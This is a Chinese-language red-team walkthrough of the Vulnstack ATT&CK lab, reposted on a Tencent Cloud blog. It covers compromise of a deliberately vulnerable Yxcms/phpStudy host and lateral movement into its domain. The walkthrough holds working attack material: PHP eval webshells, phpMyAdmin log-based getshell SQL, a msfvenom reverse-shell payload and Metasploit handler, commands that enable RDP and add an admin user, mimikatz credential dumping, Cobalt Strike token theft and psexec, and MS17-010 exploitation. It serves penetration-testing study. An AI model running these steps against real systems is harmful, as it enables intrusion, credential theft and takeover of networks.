前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >ATT&CK实战系列——红队实战(一)

ATT&CK实战系列——红队实战(一)

作者头像
红客突击队
发布于 2022-09-29 12:57:31
发布于 2022-09-29 12:57:31
85600
代码可运行
举报
文章被收录于专栏:kaydenkayden
运行总次数:0
代码可运行

ATT&CK实战系列——红队实战(一)

vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

拓扑结构大体如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
靶机下载地址:https://pan.baidu.com/share/init?surl=nC6V8e_EuKfaLb2IuEbe7w
提取码:n1u2
开机密码:hongrisec@2019

因为要搭建一个内网环境,因此需要将虚拟机与外网隔绝,在VMware中可以通过虚拟机设置中的网络适配器来设置。

Windows7(内配有phpstudy web环境):

域内主机Win2K3 Metasploitable:

域控Windows 2008:

外网初探

web服务器win7的模拟外网ip(192.168.72.129),打开页面后发现是一个Yxcms的站点

直接上御剑先扫一波康康有没有可疑的信息~

发现有很多目录,打开发现这个cms存在目录遍历漏洞:

我们在右侧公告栏发现敏感信息泄露:后台地址请在网址后面加上/index.php?r=admin进入。后台的用户名:admin;密码:123456,这样我们直接进入后台看看能不能getshell。

然后我们投机取巧谷歌大法搜一搜康康这个cms有没有漏洞,搜索后发现YXcms 1.4.7 存在任意文件写入

直接在这里写入一句话php木马 <?php @eval($_POST['cmd']); ?>

根据之前目录遍历漏洞找到flag.php

命令执行是一个管理员权限,到这里可以直接用shell连接工具就行,然后还有一个方法是通过phpMyAdmin,默认的用户名,密码:root

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
phpmyadmin后台getshell的几种方式:
1、select into outfile直接写入
2、开启全局日志getshell
3、使用慢查询日志getsehll
4、使用错误日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell

执行以下sql语句 show variables like ‘%secure%’;

发现没有写入权限,无法用select into outfile方法直接写入shell。再来看一下第二种方法,利用开启全局日志general_log去getshell,show variables like ‘%general%’;查看日志状态

当开启general时,所执行的sql语句都会出现在stu1.log文件中。那么,如果修改generallogfile的值,那么所执行的sql语句就会对应生成对应的文件中,进而getshell。

1.SET GLOBAL general_log=‘on’; 开启日志

2.set global general_log_file=‘C:/phpstudy/www/yxcms/shell.php’;# 设置日志位置为网站目录

3.将一句话木马写入shell.php文件中

SELECT '<?php eval($_POST["cmd"]);?>'

然后使用蚁剑连接

杀入内网

发现我们刚刚拿到的shell是一个administrator权限的shell,这样我们就不用提权什么的了

查看3389是否开启(远程桌面的服务端口)

发现3389并没有开启,我们使用以下命令开启它:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

尝试直接远程桌面连接却失败了,可能是防火墙的原因

这时候我的思路就是制作一个msf的后门上传上去运行,然后反弹一个msf的shell回来,尝试关闭防火墙

生成一个后门文件test.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.128 LPORT=6666 -f exe -o test.exe

msf大法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
msfconsole (运行msfconsole)
msf>use exploit/multi/handler (选择模块)
输入命令show payloads会显示出有效的攻击载荷,比如shell_reverse_tcp。
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
set lhost 加ip地址
set lport 加端口号
输入命令show payloads会显示出有效的攻击载荷

然后上传test.exe并运行它

成功上线

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
getsystem //自动尝试提权
getuid //当前会话用户身份
run post/windows/manage/enable_rdp //关闭防火墙

关闭掉防火墙后,添加用户尝试远程连接上去

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
添加用户 net user test asd123ASD!/add #添加一个用户
        net localgroup administrators test /add #将用户添加到管理员组
        #登陆只能选择STU1域 #STU1

为了方便后面的内网渗透,所以上传一个CS的shell并且反弹

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。
钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等。
主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。 作为一款协同APT工具,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。
使用的大致流程是:创建团队服务器->客户端连接团队服务器->创建监听器->生成payload对应监听器->靶机运行后门上线->后渗透
运行cs需要先有Java环境

生成cs shell并运行

hashdump

mimitakz获取到administrator(域管理员)的明文密码

接下来我们信息收集,对域中的其他主机进行内网渗透。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Ladon 192.168.52.0/24 OnlinePC # 多协议探测存活主机(IP、机器名、MAC地址、制造商)
Ladon 192.168.52.0/24 OsScan #多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)
192.168.52.138 域控Windows 2008
192.168.52.141 域内主机Win2K3 Metasploitable

横向移动

横向渗透概念:

横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(Advanced Persistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。

在提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

psexec横向移动

窃取token 在进程列表中,寻找以域管理员身份运行的进程,并选定进行steal token,如果成功,则会返回域管权限的beacon

这里窃取token 然后psexec横向移动域内主机Win2K3,ip为192.168.52.141,这是一种思路,由于失败然后我们用msf进行渗透

我们先添加一下路由

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
run autoroute -s 192.168.52.0/24
run autoroute -p

探测是否存在ms17_010

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
run

存在漏洞,但是实际攻击失败了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
选择下面的模块
use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.52.141
set payload windows/meterpreter/bind_tcp

拿到系统权限

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
开启2003远程桌面
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set COMMAND REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\* \*Server /v fDenyTSConnections /t REG_DWIRD /d 00000000 /f

远程登陆Win2K3 Metasploitable成功 小白渗透不喜勿喷~

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
学大佬的方法 网址如下
https://www.bilibili.com/read/cv6476215/
https://www.sohu.com/a/382017102_100014967
http://www.secwk.com/2019/11/05/13705/

红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-04-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红客突击队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
用 C# 写脚本 如何输出文件夹内所有文件名
大部分在 Windows 下的脚本都是使用 bat 或 cmd 写的,这部分的脚本对我来说可读性不好。这个可读性也是很主观的,对我来说用 C# 写脚本的可读性很强,但是换个小伙伴就不是了。在 .NET Core 下的 C# 可以通过 dotnet run 运行代码起来,此时特别适合用来写脚本
林德熙
2020/05/09
8250
【转】vscode调试运行c#详细操作过程
//用于发布exe <RuntimeIdentifier>win10-x64</RuntimeIdentifier> 
landv
2018/12/28
8.8K1
VisualStudio 通过外部调试方法快速调试库代码
在开发的时候,我有一个很大的项目,里面包含了 1000 个项目,但是我需要调试里面的一个库,如果直接修改这个库,会让 VisualStudio 重新编译 90 个项目,于是这样的调试的速度就太慢 本文告诉大家如何通过外部调试的方法,每次调试只需要编译这个库不需要编译其他的项目
林德熙
2019/03/13
1.2K0
VisualStudio 通过外部调试方法快速调试库代码
如何创建一个基于命令行工具的跨平台的 NuGet 工具包
发布于 2018-05-12 01:09 更新于 2018-09-01 00:16
walterlv
2018/09/18
1.1K0
如何创建一个基于命令行工具的跨平台的 NuGet 工具包
GitHub Action 新上线 WPF .NET Core 自动构建模板
在很土豪的微软免费给大家提供 GitHub 的构建服务器受到了小伙伴们的一堆好评之后,微软最近推出了 WPF 的 .NET Core 版本的模板,可以快速上手 WPF 项目的自动构建,支持自动进行单元测试和打包,同时输出打包的文件
林德熙
2020/05/09
6310
GitHub Action 新上线 WPF .NET Core 自动构建模板
dotnet core 使用 sqlite 部署到 Centos 服务器 创建项目创建模型安装 Sqlite设置连接部署服务器
本文告诉大家如何创建一个 asp dotnet core 程序,这个程序使用 sqlite 保存,部署程序到 Centos 7 服务器
林德熙
2019/03/13
1.2K0
dotnet core 使用 sqlite 部署到 Centos 服务器
            创建项目创建模型安装 Sqlite设置连接部署服务器
手把手教你写dotnet core(入门篇)
dotnet core最低开发环境要求就是一个.NET SDK,在这里可以下载的到最新版本的SDK,各个平台都有.
李国宝
2020/01/02
2.1K0
手把手教你写dotnet core(入门篇)
dotnet 将C#编译为wasm让前端html使用
其实 dotnet 是全栈的首选,原因是因为可以开发的方向太多,比如大本营PC端,以及后台。还有移动端,包括 IOS 和安卓端。现在还能用来写前端,本文就来告诉大家如何在前端使用现有的C#代码,通过 WebAssembly 使用 C# 的代码支持完全静态的网页,也就是不需要任何后台的存在。同时使用 C# 编写的 WebAssembly 可以省去 js 编译时间,同时使用二进制的本地指令,运行效率也有极大的提升。兼顾了开发的友好以及更高的性能
林德熙
2022/08/12
2.7K0
dotnet 三句命令行创建运行一个 web 服务程序
现在 dotnet 的服务创建十分具有效率,本文的前提要求是电脑上面已经安装了 dotnet 程序,接下来就是三句命令行的事情
林德熙
2020/02/17
1.2K0
利用FlubuCore用C#来写DevOps脚本
随着近些年微服务的流行,有越来越多的开发者和团队所采纳和使用,它的确提供了很多的优势也解决了很多的问题,但是我们也知道也并不是银弹,提供优势的同时它也给我们的开发人员和团队也带来了很多的挑战。
Jlion
2022/04/07
4080
利用FlubuCore用C#来写DevOps脚本
WPF 框架开发 调试和开发 XAML 构建过程的 PresentationBuildTasks 方法
阅读本文,你可以了解如何编写开发和调试 XAML 构建为 Baml 和 g.cs 文件的过程和工具。本文也适合想要了解 WPF 的 XAML 构建过程的开发者阅读,本文提供了可以断点调试 WPF 的 XAML 构建过程的方法和代码
林德熙
2021/12/24
7290
VisualStudio 如何在 NuGet 包里面同时包含 DEBUG 和 RELEASE 的库
我在开发的时候需要使用到一些 DEBUG 库进行调试,但是我的库是通过 NuGet 给用户的,如果在 NuGet 里面使用到了 DEBUG 的库那么会让代码的运行效率降低。于是我就找到一个方法,可以在 NuGet 同时打包调试和发布的包,这样在用户调试的时候就可以使用调试的代码
林德熙
2019/04/22
2.1K0
VisualStudio 如何在 NuGet 包里面同时包含 DEBUG 和 RELEASE 的库
在 SublimeText 使用 dotnet 编译 C# 项目
在 SublimeText 搭建 C# 环境可以找到的博客基本都是使用 csc 进行构建,而我期望在 dotnet 下编译整个项目。通过 dotnet 编译整个项目可以解决编译大项目时需要打开一个控制台降低效率
林德熙
2020/02/17
1.2K0
Roslyn 打包 NuGet 包 BuildTransitive 文件夹用于穿透依赖传递拷贝文件
默认的 PackageReference 可以实现传递依赖,传递依赖的含义是是假定 B 项目安装了 A 库,而 C 项目依赖 B 项目,那么 C 项目将会自然拿到 A 库的 DLL 引用。但默认的 NuGet 包的构建指导文件 targets 命令是不会在传递执行的,也就是如上的 C 项目将不会执行 B 项目安装的 A 库里面的 target 内容 有一些项目需要拷贝自定义文件,例如拷贝图片或者一些 Native 的 DLL 等资源。如 WPF 框架需要拷贝 PenIME 等资源。如果只是在最底层的项目安装了库,那为了让可执行文件项目也输出库的资源,就需要在可执行项目上也安装库。以上的方法的不足在于安装复杂,也许会忘记安装 本文告诉大家一个解决方法是通过在制作库的时候,加上 BuildTransitive 文件夹,在此文件夹内添加构建指导文件,此时这个构建指导文件 targets 文件里面的命令将会在传递中执行,也就是说只需要在底层的项目安装即可,不需要在可执行项目上也安装库
林德熙
2021/12/24
7580
[C#] Blazor练习1
为了设置 Blazor 项目来配合工作,我们将使用 Visual Studio Code。Visual Studio Code 包含一个集成终端,这使创建新项目变得简单。如果不想使用其他代码编辑器,可在终端中运行此模块中的命令。
科控物联
2022/03/29
9230
[C#] Blazor练习1
Roslyn 将这个文件放在你的项目文件夹,无论哪个控制台项目都会输出林德熙是逗比
虽然已经通过很多篇博客告诉大家如何通过 Directory.Build.props 文件修改编译的方法,但是本文还是提供一个新的思路 只需要在项目文件夹,或者磁盘的文件夹,如 E:\ 放下本文提供的 Directory.Build.props 文件,整个文件夹内的控制台项目就会输出 林德熙是逗比 想要知道是怎么做的,请看下面
林德熙
2019/03/13
8420
以1个具体接口为例来展示腾讯云.NET SDK的使用
【.NET Core和ASP.NET Core】是什么,它们跟【.NET Framework和ASP.NET】的区别是什么,为什么要选用前者
Windows技术交流
2020/03/13
1.9K0
手把手教你写dotnet core(MVC)
上一篇手把手教你写dotnet core(入门篇)我们已经简单在dotnet core里面跑了个”hello world!”和累加程序.
李国宝
2020/01/02
1.1K0
手把手教你写dotnet core(MVC)
VisualStudio 使用三个方法启动最新 C# 功能 第一个方法第二个方法第三个方法
本文告诉大家如何在 VisualStudio 打开最新的 C#,现在的微软更新 C# 很快,那么如何让 VisualStudio 在项目使用最新的
林德熙
2018/09/19
9820
VisualStudio 使用三个方法启动最新 C# 功能
            第一个方法第二个方法第三个方法
使用 dotnet 命令行配合 vscode 完成一个完整 .NET 解决方案的编写和调试
如果你是开发个人项目,那就直接用 Visual Studio Community 版本吧,对个人免费,对小团体免费,不需要这么折腾。
walterlv
2023/10/22
2.4K0
使用 dotnet 命令行配合 vscode 完成一个完整 .NET 解决方案的编写和调试
推荐阅读
相关推荐
用 C# 写脚本 如何输出文件夹内所有文件名
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档